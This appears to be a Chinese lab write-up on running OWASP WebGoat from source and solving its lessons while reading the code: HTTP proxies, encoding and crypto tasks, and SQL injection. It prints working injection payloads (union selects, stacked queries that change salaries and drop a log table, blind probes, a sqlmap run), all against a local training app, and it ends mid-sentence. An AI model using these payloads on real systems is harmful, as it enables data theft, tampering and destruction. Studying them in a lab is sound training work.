再战WebGoat之代码审计

声明

好好学习,天天向上

回想首次接触webgoat已是两年前,当时可能连漏洞原理都不是很明白就开始上手靶场了,也是搜了很多文章,还用的word的方式写的草稿,惭愧惭愧。webgoat一直是我心中高质量的靶场,其实当时发布文章时,我就一直在想怎么才能边改代码边调试边攻击,现在,是时候拿下这个山头了

源码部署

这次我们选择IDEA+Maven+JDK15+webgoat源码的方式来部署,这样可以随时分析代码

使用最新版8.2.2

https://github.com/WebGoat/WebGoat/releases/

IDEA

使用社区版,安装过程无比简单

https://www.jetbrains.com/idea/download/#section=windows

再战WebGoat之代码审计_第1张图片

maven

当然必不可少,我这里使用的是3.8.6

安装过程也是十分简单

https://maven.apache.org/download.cgi

在这里插入图片描述

但是不要忘了把IDEA集成maven

再战WebGoat之代码审计_第2张图片

再战WebGoat之代码审计_第3张图片

JDK15

https://www.oracle.com/java/technologies/downloads/archive/

webgoat官方上说的是需要java17,我这里用15也能跑通,所以就先用15,后面再有问题再进行调整

再战WebGoat之代码审计_第4张图片

当然这个15不用在系统环境变量中改,因为我系统环境变量默认配的是8,所以这里在idea中修改即可

再战WebGoat之代码审计_第5张图片

导入maven项目

再战WebGoat之代码审计_第6张图片

选择webgoat的源码文件夹,并选择maven

再战WebGoat之代码审计_第7张图片

再战WebGoat之代码审计_第8张图片

配置

查看是否安装lombok插件

我得idea是安装好后自带这个插件

再战WebGoat之代码审计_第9张图片

修改pom.xml,修改org.owasp的版本号,修改为6.5.3

再战WebGoat之代码审计_第10张图片

运行

找到webgoat-server目录中的StartWebGoat类,右键启动

再战WebGoat之代码审计_第11张图片

再战WebGoat之代码审计_第12张图片

先让他下一会

再战WebGoat之代码审计_第13张图片

看到日志都没有报错,即可访问

再战WebGoat之代码审计_第14张图片

http://localhost:8080/WebGoat/login

再战WebGoat之代码审计_第15张图片

修改默认端口

webgoat默认端口为8080,我们全局搜一下8080

再战WebGoat之代码审计_第16张图片

看到一个比较像配置的properties文件

再战WebGoat之代码审计_第17张图片

点进去可以看到webgoat和webwolf分别是8080和9090

我修改为18080和19090

再战WebGoat之代码审计_第18张图片

重启webgoat,顺便也启动下webwolf

再战WebGoat之代码审计_第19张图片

再战WebGoat之代码审计_第20张图片

再战WebGoat之代码审计_第21张图片

连接数据库

刚刚看webgoat和webwolf的配置的时候,顺便一看,就看到了9001端口的hsql数据库,当然我现在对这个数据库也很陌生(数据库和语言也类似,会一门就要学会反推N门,不能因为遇见一个陌生的东西,就忘记百度了),这个数据库是内置在webgoat中的,当然有web肯定要有库,不然存在哪,不过其实像这种靶场,方便大家安装可以直接存在csv、xml等,这里既然用了hsql,我们就连一下看看

hsql教程

http://www.vue5.com/hsqldb/hsqldb_where_clause.html

连接hsql,需要用hsqldb.jar,当然版本具体而定,我全局搜了一下,刚好我安装的maven里就有这个,那就直接拿来用呗

再战WebGoat之代码审计_第22张图片

运行jar包,URL改为这个,密码在配置里也没找到,就先不输入密码试一试

jdbc:hsqldb:hsql://localhost:9001/webgoat

再战WebGoat之代码审计_第23张图片

注册一个用户,查一下,嗯,果然能查到,没问题了

再战WebGoat之代码审计_第24张图片

Introduction

其实webwolf就类似我挖到漏洞了,然后传cookie啊,发邮件可以充当攻击服务器这样一个角色

进入webwolf中,webwolf是可以接收邮件的

登录webwolf,用户名密码用webgoat的

再战WebGoat之代码审计_第25张图片

webgoat输入

[email protected]

再战WebGoat之代码审计_第26张图片

webwolf接收

再战WebGoat之代码审计_第27张图片

再战WebGoat之代码审计_第28张图片

webgoat输入这个

再战WebGoat之代码审计_第29张图片

下一关

假设这个页面就是攻击者的钓鱼页面,点击重置密码用于重置自己的密码,点击后就会将受害者输入的密码发送到webwolf中,我们试一下

再战WebGoat之代码审计_第30张图片

再战WebGoat之代码审计_第31张图片

再战WebGoat之代码审计_第32张图片

这就是webwolf的应用,其实就是帮我们搭的一个简易的XSS,或者说用于接收请求的平台

General

HTTP Basics

这里介绍了HTTP的基础,其实就是发送HTTP请求,我们要熟悉GET、POST、HTTP请求头和响应头!

刚好这里说一下,只用于监控抓取HTTP层包的,我就用fiddler,需要进行重放修改的,我就用bp了

再战WebGoat之代码审计_第33张图片

使用fiddler查看,可以看到把我输入的123123,变成321321输出到了页面上

再战WebGoat之代码审计_第34张图片

下一关,让输入magic number

随便输入后,抓包查看,原来webgoat自动在我们输入的参数前,又加了一个POST

再战WebGoat之代码审计_第35张图片

输入59

在这里插入图片描述

HTTP Proxies

主要是让我们练习使用代理工具

再战WebGoat之代码审计_第36张图片

点击Submit后,明明是POST,题上让我们修改请求为POST并且将POST请求体加到URL上值改为【Requests are tampered easily】,并且增加一个请求头【x-request-intercepted:true】

再战WebGoat之代码审计_第37张图片

从后台代码可以看到,当x-request-intercepted为true或者false会对应两种不同的输出

再战WebGoat之代码审计_第38张图片

这里也可以找到对应配置

再战WebGoat之代码审计_第39张图片

所以,我们要让其返回有关success的

GET /WebGoat/HttpProxies/intercept-request?changeMe=Requests+are+tampered+easily HTTP/1.1
Host: localhost:18080
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0
Accept: */*
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Referer: http://localhost:18080/WebGoat/start.mvc
Content-Length: 0
Cookie: JSESSIONID=orr6Ea8cUBxn016ogcaA3l7xwTqMC4WWqAGQYY58
DNT: 1
Connection: close
x-request-intercepted: true

错误返回,我把【x-request-intercepted】设置为false,可以看到properties中的错误返回

再战WebGoat之代码审计_第40张图片

改为true后

再战WebGoat之代码审计_第41张图片

Developer Tools

通过F12的控制台可以直接调用内部方法了

再战WebGoat之代码审计_第42张图片

再战WebGoat之代码审计_第43张图片

其实也没那么神秘

调用webgoat.customjs.phoneHome()方法后,会跳到这个controller,DOMCrossSiteScripting.java,生成随机数

再战WebGoat之代码审计_第44张图片

下一关,当点击Go的时候会发送一个请求,在里面找随机数吧

再战WebGoat之代码审计_第45张图片

点击Go

再战WebGoat之代码审计_第46张图片

再战WebGoat之代码审计_第47张图片

我们看看这个调用过程

我点Go抓包,当点击Go时,访问NetworkLesson.java,获取随机值,并写到页面上

再战WebGoat之代码审计_第48张图片

点击Check时,会进入这里进行对比

再战WebGoat之代码审计_第49张图片

当然不用抓包在页面上也能看到,因为如果看不到请求里就抓不到了

再战WebGoat之代码审计_第50张图片

所以我们直接复制页面上的数,也可以直接ok的

再战WebGoat之代码审计_第51张图片

CIA Triad

信息安全三要素,保密性,完整性,可用性,这个直接看题吧

1.How could an intruder harm the security goal of confidentiality?
Solution 1: By deleting all the databases.
Solution 2: By stealing a database where general configuration information for the system is stored.
Solution 3: By stealing a database where names and emails are stored and uploading it to a website.
Solution 4: Confidentiality can't be harmed by an intruder.
入侵者如何损害保密的安全目标?
解决方案1:删除所有数据库。
解决方案2:窃取存储系统一般配置信息的数据库。
解决方案3:窃取存储姓名和电子邮件的数据库,并将其上传到网站。
解决方案4:入侵者不会损害机密性。
【题目主要是针对保密性,既然是针对保密性就要获取到保密的数据,能解密最好】
1.首先删库没一点用,数据都删了还谈何解密
2.窃取一般配置,凑合还行,能窃取到用户名密码这种核心配置还好,窃取个端口啊URL,基本没用,不过可以作为次选
3.姓名电子邮件,在2022年已经是即为重要敏感的个人信息,拿到就赚(社工)
4.得

2. How could an intruder harm the security goal of integrity?
Solution 1: By changing the names and emails of one or more users stored in a database.
Solution 2: By listening to incoming and outgoing network traffic.
Solution 3: By bypassing the access control mechanisms used to manage database access.
Solution 4: Integrity can only be harmed when the intruder has physical access to the database.
2.入侵者如何损害完整性的安全目标?
解决方案1:更改数据库中存储的一个或多个用户的姓名和电子邮件。
解决方案2:通过监听传入和传出网络流量。
解决方案3:绕过用于管理数据库访问的访问控制机制。
解决方案4:只有当入侵者能够物理访问数据库时,完整性才会受到损害。
【题目主要是针对完整性,既然是针对完整性就要更改数据】
1.刚说更改就遇见了这个,感觉最像了
2.也是改,但是这种相当于是间接修改,通过流量的话,没有1直接修改数据库多暴力,流量的话,万一代码做了校验之类的,可以做个次选
3.感觉和完整性关系不大
4.只有这关键字就是雷,数据库基本都是远程访问吧


3. How could an intruder harm the security goal of availability?
Solution 1: By exploiting a software bug that allows the attacker to bypass the normal authentication mechanisms for a database.
Solution 2: By redirecting sensitive emails to other individuals.
Solution 3: Availability can only be harmed by unplugging the power supply of the storage devices.
Solution 4: By launching a denial of service attack on the servers.

3.入侵者如何损害可用性的安全目标?
解决方案1:利用允许攻击者绕过数据库正常身份验证机制的软件缺陷。
解决方案2:将敏感电子邮件重定向到其他个人。
解决方案3:只有拔掉存储设备的电源才能损害可用性。
解决方案4:在服务器上发起拒绝服务攻击。
【题目主要是针对可用性性,既然是针对可用性就要让目标系统瘫痪】
1.绕过身份验证直接登录,和可用无关,正常用户该咋用咋用
2.一样,敏感信息泄露,不会直接让系统瘫痪
3.拔线,确实可以损害,不过不是只有
4.发起DOS,这个没问题


4. What happens if at least one of the CIA security goals is harmed?
Solution 1: All three goals must be harmed for the system's security to be compromised; harming just one goal has no effect on the system's security.
Solution 2: The system's security is compromised even if only one goal is harmed.
Solution 3: It is acceptable if an attacker reads or changes data since at least some of the data is still available. The system's security is compromised only if its availability is harmed.
Solution 4: It is acceptable if an attacker changes data or makes it unavailable, but reading sensitive data is not tolerable. The system's security is compromised only if its confidentiality is harmed.
4.如果至少一个CIA安全目标受到损害,会发生什么?
解决方案1:必须损害所有三个目标,才能损害系统的安全性;只损害一个目标对系统的安全性没有影响。
解决方案2:即使只有一个目标受到损害,系统的安全性也会受到损害。
解决方案3:如果攻击者读取或更改数据,这是可以接受的,因为至少部分数据仍然可用。只有当系统的可用性受到损害时,系统的安全性才会受到损害。
解决方案4:如果攻击者更改数据或使其不可用,这是可以接受的,但不允许读取敏感数据。只有当系统的机密性受到损害时,系统的安全性才会受到损害。
【大局观】
1.太绝对,信息安全三要素,每一个都很重要
2.符合安全客观的理念
3、4不能接受,还很绝对

再战WebGoat之代码审计_第52张图片

再战WebGoat之代码审计_第53张图片

Crypto Basics

加密对于安全其实一直都很重要,脑子里要有个概念

目前遇到的“看似加密的”字符串:
1.编码类,base64编码或者url编码,怎么编码就怎么解码,可以看做是明文
2.对称、非对称加密,HTTPS的应用,这个加密后是没有秘钥是真的不好解开
3.hash摘要算法,主要用于完整性校验,例如md5等

Base64 Encoding

前面也说了base64等于明文,著名的中国菜刀流量就是base64传输的,所以菜刀现在基本也见不到了

假如截获了d2ViZ29hdDphZG1pbg==,让输入用户名密码,显然需要解码

再战WebGoat之代码审计_第54张图片

用火狐解码后

webgoat:admin

再战WebGoat之代码审计_第55张图片

再战WebGoat之代码审计_第56张图片

其实要有个概念,base64就是明文

Other Encoding-XOR encoding

其他的编码,像URL,HTML也都只是编码

告诉我们Oz4rPj0+LDovPiwsKDAtOw==是经过XOR进行编码过的,需要我们解码,将内容填到框框里面

再战WebGoat之代码审计_第57张图片

刚看到这个我还以为是送分题,没想到还拐了不少弯弯

先公布答案,因为这个我也是从答案中慢慢反推,学到的,这个网站可以直接解码(但是我还真是没弄明白XOR编码不是需要秘钥吗,这个网站怎么知道我们的秘钥,难道。。。?)

http://www.poweredbywebsphere.com/decoder.html

当然,我是在这里看的答案,会进入XOREncodingAssignment.java和databasepassword进行比较,所以答案就是

databasepassword

再战WebGoat之代码审计_第58张图片

既然到这了,就应该研究一下XOR究竟何方神圣

明文为

databasepassword

密文为

Oz4rPj0+LDovPiwsKDAtOw==

密文看着真的像BASE64

这里直接说原理吧

既然明文为databasepassword,将这个字符串的每一位都拿出来,转成2进制

http://c.biancheng.net/c/ascii/


比如第一位是d,转成二进制为
01100100	100	64	d

站在上帝视角看,秘钥是“_”
01011111	95	5F	_

将01100100和01011111按位异或(相同取0,不同取1,说白了就就是00和11取0,10取1)
d   01100100
_   01011111
结果 00111011

是分号
00111011	59	3B	;

分号应为编码后的第一位啊,和这个Oz4rPj0+LDovPiwsKDAtOw==也不一样啊,刚刚说道Oz4rPj0+LDovPiwsKDAtOw==看着像base64的,我们对其进行base64解码看看
解出为
;>+>=>,:/>,,(0-;
并且和databasepassword位数一样

所以编码过程就是将databasepassword的每一位转成二进制,和秘钥的每一位转成二进制(这里秘钥只有一位也就是_),每一位的二进制都按位异或,异或后进行base64编码
所以说这个编码方式还牵扯到了秘钥的问题,有点类似于对称加密的概念了,而且有了秘钥的说法,再说自己是编码还确实挺谦虚的

其实这个原理很简单,但是搜了网上很多的在线编码或者解码,没一个靠谱的,不就是把明文每一位和秘钥每一位按位异或再base64吗,网上这一个个的界面都有,就是不好好整,利用python写了一个秘钥可以是多位的

import base64

# def xor_encode(plaintext='Oz4rPj0+LDovPiwsKDAtOw==', key = '_'):
def xor_encode(plaintext='1234', key = 'AB'):
    plaintext = plaintext.encode('ascii')

    key_len = len(key)
    ciphertext = ''
    if key_len == 1:
        for bit in plaintext:
            xor_bit = chr(bit ^ ord(key))
            ciphertext += xor_bit

    elif key_len > 1:
        for index in range(len(plaintext)):
            key_index = index % len(key)
            # print(key[key_index])
            xor_bit = chr(plaintext[index] ^ ord(key[key_index]))
            ciphertext += xor_bit

    print('------------------------------------------------------')
    ciphertext = base64.b64encode(ciphertext.encode('ascii'))
    print(f'明文为: {plaintext.decode("ascii")}')
    print(f'秘钥为: {key}')
    print(f'密文为: {ciphertext.decode("ascii")}')
    print('------------------------------------------------------')

def xor_dencode(ciphertext='Oz4rPj0+LDovPiwsKDAtOw==', key = '_'):
# def xor_dencode(ciphertext='cHBydg==', key='AB'):
    ciphertext_base64 = base64.b64decode(ciphertext)
    key_len = len(key)
    plaintext = ''
    if key_len == 1:
        for bit in ciphertext_base64:
            xor_bit = chr(bit ^ ord(key))
            plaintext += xor_bit

        print('------------------------------------------------------')
        print(f'密文为: {ciphertext}')
        print(f'密文base64解码: {ciphertext_base64.decode("ascii")}')
        print(f'秘钥为: {key}')
        print(f'明文为: {plaintext}')
        print('------------------------------------------------------')

    elif key_len > 1:
        for index in range(len(ciphertext_base64)):
            key_index = index % len(key)
            # print(key[key_index])
            xor_bit = chr(ciphertext_base64[index] ^ ord(key[key_index]))
            plaintext += xor_bit

        print('------------------------------------------------------')
        print(f'密文为: {ciphertext}')
        print(f'密文base64解码: {ciphertext_base64.decode("ascii")}')
        print(f'秘钥为: {key}')
        print(f'明文为: {plaintext}')
        print('------------------------------------------------------')

if __name__ == '__main__':
    xor_dencode()
    xor_encode()

再战WebGoat之代码审计_第59张图片

Plain Hashing

题目说的很明白了,类似md5、sha1、sha256等等这种都是hash类算法,不可逆,但是虽然不可逆,为什么网上还有很多md5解密,当然他们的后台有着大量的彩虹表(将明文字典使用md5加密后的字典),他们知道加密前的数据,所以我们有时候会使用这些网站,比如

https://www.cmd5.com/

再战WebGoat之代码审计_第60张图片

按F5刷新抓包,发现会发两个请求,sha256会返回一个sha256加密的数据,md5会返回md5加密的数据

不过认真看的话,会发现每次返回的密文都不一样,既然md5和sha256对同一明文加密后的结果都一样,那自然是明文有多个了

再战WebGoat之代码审计_第61张图片

查看代码可发现,这是每次根据数组长度区间获取随机值,在这个数据组随机选一个进行sha256或者md5加密

再战WebGoat之代码审计_第62张图片

既然到了这了,我们就用python练习一下

先根据答案的数据列表初始化一张彩虹表

用户输入内容然后进行解密

import hashlib
import requests

def init_rainbow():
    plaintext_list = ["secret","admin","password", "123456", "passw0rd"]

    for plaintext in plaintext_list:
        with open('md5.txt', 'a') as f:
            content = hashlib.md5(plaintext.encode('utf-8')).hexdigest()
            f.write(plaintext + ':' + content)
            f.write('\n')

        with open('sha256.txt', 'a') as f:
            content = hashlib.sha256(plaintext.encode('utf-8')).hexdigest()
            f.write(plaintext + ':' + content)
            f.write('\n')

def hash_decrypt():
    md5_list = []
    sha256_list = []
    with open('md5.txt', 'r') as f:
        md5_list = f.read().split('\n')

    with open('sha256.txt', 'r') as f:
        sha256_list = f.read().split('\n')

    ciphertext = input("请输入密文(不输入内容直接回车可退出): ")
    while(ciphertext):

        if len(ciphertext) <=32:
            for str in md5_list:
                if str != '':
                    key = str.split(':')[0]
                    value = str.split(':')[1]

                    if value.lower() == ciphertext.lower():
                        print(f"解密后为: {key}")
        elif len(ciphertext) >32:
            for str in sha256_list:
                if str != '':
                    key = str.split(':')[0]
                    value = str.split(':')[1]

                    if value.lower() == ciphertext.lower():
                        print(f"解密后为: {key}")

        ciphertext = input("请输入密文(不输入内容直接回车可退出): ")

if __name__ == '__main__':
    # init_rainbow()
    hash_decrypt()

再战WebGoat之代码审计_第63张图片

再战WebGoat之代码审计_第64张图片

Symmetric encryption/Asymmetric encryption

其实这一关主要是在阐述HTTPS中的非对称、对称加密等,还有经常我们为了保证完整性会对文件等数据进行摘要

这道题没有过多需要说明的,根据题目给定的私钥,生成公钥和签名

使用kali

将私钥保存在webgoat.key中

-----BEGIN PRIVATE KEY-----
MIIEvgIBADANBgkqhkiG9w0BAQEFAASCBKgwggSkAgEAAoIBAQCuGa/dMpq3N6uJzr39zQBd4pZwS//IstpYcQqMbG5Mpl0Xvj9N686ywmmmu0VpZrXYbqy7cUjQnkCTIWd//jFgonCSbpe5a3YOxE2Xf/guw3m9R4LSnUZyNTfAzd9ek7MJkA17BG80ZBt0cQF75obxp9bAqEdRiM2wv87sCaGzROlASBdllgFu3KUBq3pp2gf38b99sHftLNJ5bmE59bBSq9LgEsTvFjzoHHw937aDzg/pgFj02RcuU0o6+6pxuERSf7ELB62e0n9hlbZHdo4X8MtCY225HwSFvqkwph9k1r8hTM2W4lAUaS2WlCDGnG/zPKpzdSOt1vdSGtp7QnddAgMBAAECggEATV2m0/H/5Lk9ZkDUFuu5ZP8jAQYUxVgNRU3+dQZeQXuQVNO7B+Jo+PEByBDiOINm/aW45pbh16rrYTZv6uXHhXzJ75hrnf8N+GPtYwx/+i/tclpL3VH8kxXpD6mswDd8URyNkQQYcryloqnxEeEQSGTgPr7I6oeTeB7UUfm5vJJ9PM4h6U1A7RUl2MGZjsfUHqc5QVYjB78Ymiq5MI3Oj2wU/Q6suMoJF7MaDhbMYoqOkVKauvTROD+NDd9PNZ68tO3BuHdg57qUNVx0xxoobgPqIY60aXSneLHzNt8/5nBDrXP/cvNZT2DOptENPQhUHLFSB3BuqoGV8lnvbLCKFQKBgQD8dDk1NghKANy1IlsXfvXjixtpD10SkuouWOtA6+I1JMXR9SSr3OheLRkGpDCmCKUmIXZFmhjJPgoEgE2buZnanYX53sibNSOUpauNUiDq6ueIi6hZW2V1MFHb2q0DZXe0CxcOfkTCbaINqoc5anmvfkw1+nHHECEh1F9MjhnB2wKBgQCwi7f57u9CsQZxRDSG9FZdRs6w3FU9GBF3EMrTV+vYPX7fRGaWq+x4oiuf2of8wK7OX9HsNNMzubEQzJCiuOAPd/d34XUlh+HrN9EkPehniD3ICDxk24W0377aARS/gjsmx1igk6Dz8BaCeTUr8OyaLMIfrL1xWlkVXu61B2p9JwKBgQDA/UhOeUPU7tvKTL0+NPxcOpd1tRz9efoz/B27v5dp8PaZDsI9795jQC6FeTcHdkxp3eLASpDwJtEZp8usZDJNgWZOIhVRMUpF9HA01Lf9Xh4psDm+NbRV5d5uJ7ljg0oDBQdXOQfvakgcEmTVa6QimHZCPXaFKrtpVSSVLXxbSQKBgB3gl1MJ153uvYtfopAQO6lveT0/HIHJV/NReTHJGFWxGo6IUeA/2jYUI9PatNbWeP7eAnW5/uArFcclB3kyVmDnyY6VLjEazOX0vUUn4PPcf7AhjK7446jXkMHuGufKD16hr+ME+OEviW+tOY1lKXVyC6w2nJzZUGgod7dVOPVTAoGBANZ6pvby24MvaD0Ny1dEnU/AbxqAGLxAoAci9BArxDqqlYzKtlYEnJNPql2/wzDSprHT09qjOmbQnkYE0sTjU7uvbCaWGPLWL4BU4YmKZkZkZD+sw3udyX/tNvgmfoQSrZk31SiosxkCNmqAkBeWy9IiogeVCCqm7a3vpw9dBCD+
-----END PRIVATE KEY-----
1.根据私钥webgoat.key生成公钥webgoat.pub
openssl rsa -in webgoat.key -pubout > webgoat.pub

2.获取公钥的modulus
openssl rsa -in webgoat.pub -pubin -modulus -noout

3.根据modulus获取签名
echo -n "上一条命令结果modulus" | openssl dgst -sign webgoat.key -sha256 -out webgoat.sha256
即:
echo -n "AE19AFDD329AB737AB89CEBDFDCD005DE296704BFFC8B2DA58710A8C6C6E4CA65D17BE3F4DEBCEB2C269A6BB456966B5D86EACBB7148D09E409321677FFE3160A270926E97B96B760EC44D977FF82EC379BD4782D29D46723537C0CDDF5E93B309900D7B046F34641B7471017BE686F1A7D6C0A8475188CDB0BFCEEC09A1B344E94048176596016EDCA501AB7A69DA07F7F1BF7DB077ED2CD2796E6139F5B052ABD2E012C4EF163CE81C7C3DDFB683CE0FE98058F4D9172E534A3AFBAA71B844527FB10B07AD9ED27F6195B647768E17F0CB42636DB91F0485BEA930A61F64D6BF214CCD96E25014692D969420C69C6FF33CAA737523ADD6F7521ADA7B42775D" | openssl dgst -sign webgoat.key -sha256 -out webgoat_sign.sha256

4.将签名base64
openssl enc -base64 -in webgoat_sign.sha256 -out webgoat_sign.sha256.base64

填入第二步和第四步执行结果

再战WebGoat之代码审计_第65张图片

再战WebGoat之代码审计_第66张图片

再战WebGoat之代码审计_第67张图片

Protecting your key

主要说了很多秘钥的保存方式,我们不能生成了秘钥就什么也不管了,其实PKI就是在做这些事,我们要有证书的申请、生成、使用、销毁等,围绕生命周期对我们的秘钥进行全生命周期的管理

已知密文为U2FsdGVkX199jgh5oANElFdtCxIEvdEvciLi+v+5loE+VCuy6Ii0b+5byb5DXp32RPmT02Ek1pf55ctQN+DHbwCPiVRfFQamDmbHBUpD7as=,秘钥保存在docker镜像中,我们需要将镜像跑成容器,就能找到秘钥了,最后,根据秘钥解密,得到明文

docker run -d webgoat/assignments:findthesecret

docker exec -it --user=root vigilant_shaw cat /root/default_secret


即:
docker exec -it --user=root vigilant_shaw /bin/bash/
echo "U2FsdGVkX199jgh5oANElFdtCxIEvdEvciLi+v+5loE+VCuy6Ii0b+5byb5DXp32RPmT02Ek1pf55ctQN+DHbwCPiVRfFQamDmbHBUpD7as=" | openssl enc -aes-256-cbc -d -a -k ThisIsMySecretPassw0rdF0rY0u

再战WebGoat之代码审计_第68张图片

在这里插入图片描述

Leaving passwords in docker images is not so secure
default_secret

再战WebGoat之代码审计_第69张图片

Writing new lesson

(A1) Injection

SQL Injection (intro)

What is SQL?

给出一张表employees,要求查出Bob的部门department,那随便查了

再战WebGoat之代码审计_第70张图片

select userid, first_name, last_name, department, salary, auth_tan from employees  where userid = 96134

那么这里为什么会判别我们写的sql语句没问题呢?

是通过正则或者关键字匹配我们写入的sql没问题还是将我们的sql执行查询后,对结果集进行判断

再战WebGoat之代码审计_第71张图片

根据抓包可知,是跳到这个controller中

SqlInjectionLesson2.java

打个断点,分析一下源码

可以看到,这里会执行我们输入的sql语句,将结果集中的department的值和Marketing比较

再战WebGoat之代码审计_第72张图片

可以看到这里的sql过程很简单,拿到语句就直接执行,没有用户输入的黑白名单匹配,也没有预处理,所以像这种就会存在sql注入

Data Manipulation Language (DML)

熟悉的DML,数据操纵语音,说白了就是增删改查,以后看了不能再陌生了,其实像我们给研发管理数据库权限,会经常和这些碰面

所谓增删改查,就是这些,所以DML应该是我们最熟练的

SELECT - retrieve data from a database
INSERT - insert data into a database
UPDATE - updates existing data within a database
DELETE - delete records from a database

题目让我们把Tobi Barnett的部门改为销售Sales

直接登进数据库看看(当然也可以去上一关select *再看看),现在是研发部,直接去销售,估计要吐血吧

再战WebGoat之代码审计_第73张图片

update employees set department = 'Sales' where userid = 89762

再战WebGoat之代码审计_第74张图片

再战WebGoat之代码审计_第75张图片

后台每次在执行完我们输入的sql语句后,会再查一次这个人的部门进行对比

再战WebGoat之代码审计_第76张图片

Data Definition Language (DDL)

数据定义语言,我们上面刚熟悉了DML,对表的增删改查,如果没有人创建表、创建视图,DML无从下手啊,所以DDL,得有人定义好表、视图,才能做增删改查

- CREATE - create database objects such as tables and views
- ALTER - alters the structure of the existing database
- DROP - delete objects from the database

题目让给employees表增加一列,上面看数据库的时候已经看到了,只有6列

ALTER TABLE employees ADD phone varchar(20)

再战WebGoat之代码审计_第77张图片

代码里会在我们执行完后,去查表里的phone字段,看看有没有第一条记录

再战WebGoat之代码审计_第78张图片

再战WebGoat之代码审计_第79张图片

Data Control Language (DCL)

数据控制语言,其实工作中经常会遇到,给数据库某个用户开通到某个库的某张表,就是在说这个,有点访问控制的味道了

- GRANT -  give a user access privileges on database objects
- REVOKE - withdraw user privileges that were previously given using GRANT

向用户unauthorized_user授予表grant_rights的权限

我这里加一个insert

grant insert on grant_rights to unauthorized_user

再战WebGoat之代码审计_第80张图片

代码中在执行完我们的语句后,会在schema表中查权限

再战WebGoat之代码审计_第81张图片

Try It! String SQL injection

字符型的说白了就是闭合单引号,双引号等等特殊符号的问题

已知原sql语句为

"SELECT * FROM user_data WHERE first_name = 'John' AND last_name = '" + lastName + "'";

现在需要通过闭合’的方式,将所有内容查出

我们抓住三点

1,前面的单引号,是需要我们闭合的,所以第一块我们要填写一个能把单引号闭合的

2,最后最后的单引号也一样

3,在1和2的基础上要让or成立

再战WebGoat之代码审计_第82张图片

Try It! Numeric SQL injection

数字型的

题中说,有一个参数可能存在sql注入,我们要先判断是哪个

其实我们可以手动把两个参数各写入特殊符号,Login_Count:会报:Could not parse: 1–+ to a number

或者就是下图也会有提示

再战WebGoat之代码审计_第83张图片

很明显是User_Id参数了,Login_Count经过了预处理,既然前面是select * ,目标也是select *,反手union

1 union select * From user_data;

再战WebGoat之代码审计_第84张图片

这里会查我们的结果,高于6条才算通关

再战WebGoat之代码审计_第85张图片

Compromising confidentiality with String SQL injection

说的是破坏机密性,还不是把能查的都查出来

依旧是闭合功底

"SELECT * FROM employees WHERE last_name = '" + name + "' AND auth_tan = '" + auth_tan + "'";
除去影响我判断的双引号(双引号在这里只是标识字符串拼接),以及+

SELECT * FROM employees WHERE last_name = 'name' AND auth_tan = 'auth_tan';

第一个参数无所谓写啥都行,我还在后面union
第一个参数写1
第二个参数写1' union select * from employees--+

SELECT * FROM employees WHERE last_name = '1' AND auth_tan = '1' union select * from employees--+’;

再战WebGoat之代码审计_第86张图片

Compromising Integrity with Query chaining

破坏完整性了,也就是要改数据库了

USERID	FIRST_NAME	LAST_NAME	DEPARTMENT	SALARY	AUTH_TAN	PHONE
32147	Paulina	Travers	Accounting	46000	P45JSI	null
34477	Abraham 	Holman	Development	50000	UU2ALK	null
37648	John	Smith	Marketing	64350	3SL99A	null
89762	Tobi	Barnett	Sales	77000	TA9LL1	null
96134	Bob	Franco	Marketing	83700	LO9S2V	null

我是John Smith,我才6万直接改999999

1
1';update employees set SALARY = 999999 where AUTH_TAN = '3SL99A'--+

再战WebGoat之代码审计_第87张图片

Compromising Availability

挺有意思的,可用性

access_log表记录着我们上面做过的所有“坏事”,现在需要删掉这张表

再战WebGoat之代码审计_第88张图片

1';drop table access_log--+

再战WebGoat之代码审计_第89张图片

再战WebGoat之代码审计_第90张图片

SQL Injection (advanced)

Try It! Pulling data from other tables

给了两张表

CREATE TABLE user_data (userid int not null,
                        first_name varchar(20),
                        last_name varchar(20),
                        cc_number varchar(30),
                        cc_type varchar(10),
                        cookie varchar(20),
                        login_count int);



CREATE TABLE user_system_data (userid int not null primary key,
			                   user_name varchar(12),
			                   password varchar(10),
			                   cookie varchar(30));

随便输入单引号,查看这里是单引号闭合,并且查询的是user_data表

再战WebGoat之代码审计_第91张图片

那我们依旧老方法,通过堆叠也好通过union也好,不过这里需要注意下,原SQL语句为

user_data这张表中有7个字段,第一个和第七个是int,中间五个是字符char,那使用union的时候第一个为userid,因为userid在第二张表中为int,中间不够7列的话,补充字符串要加’',user_data最后一列是数字就直接用数字7表示

SELECT * FROM user_data WHERE last_name = ''
1';select * from user_system_data;--+
1' union select userid, user_name, password, cookie, '5', '6', 7 from user_system_data--+

不过我这里只查出来还没验证密码,怎么上面的过关就变成绿色了呢

再战WebGoat之代码审计_第92张图片

查看源码跟踪后,发现只要我们查出的结果包含dave并且包含passW0rD,就直接success了

再战WebGoat之代码审计_第93张图片

Can you login as Tom?

需要我们用前面学到的知识,使用tom登录进去

再战WebGoat之代码审计_第94张图片

看到登录框,我第一个想到的是万能密码,也就是类似下面的这种

tom' or true;--+

不过都是失败,而且试了很多关键字,并没有能注入的感觉

往右一看,还有个注册功能,不过注册tom的时候失败了

再战WebGoat之代码审计_第95张图片

难道是二次注入?

先注册一个tom;–+,不过也不行,登录的地方没有sql注入

对username_reg试几个关键字

注册一个存在的用户返回

User tom already exists please try to register with a different username

注册一个不存在的用户返回

User tomm created, please proceed to the login page

并且用户名改为,可以一直注册,这就说明and false被执行了,所以导致结果返回false,从而代码判断该用户不存在,就一直可以注册

tom' and false--+

再战WebGoat之代码审计_第96张图片

看一眼数据库

在这里插入图片描述

这一下就确认了,boolean的盲注了

反正只会返回两种结果,掏出sqlmap跑一下

python2 sqlmap.py -r zzz.txt --dbs --no-cast

爆出了库

7个库爆破了将近40分钟

再战WebGoat之代码审计_第97张图片

[*] CONTAINER
[*] container
[*] INFORMATION_SCHEMA
[*] PUBLIC
[*] SYSTEM_LOBS
[*] webgoat
[*] webgoat1

从界面上看也是能对上的,INFORMATION_SCHEMA系统库,这里没有显示罢了

再战WebGoat之代码审计_第98张图片

我们得向sqlmap学习一下,我在sqlmap爆破的时候,用wireshark抓包,可以看到

和我们手动盲注几乎一样

再战WebGoat之代码审计_第99张图片

在这里其实看的不是很明显,不过是原生的,所以sqlmap爆破库用的payload就是

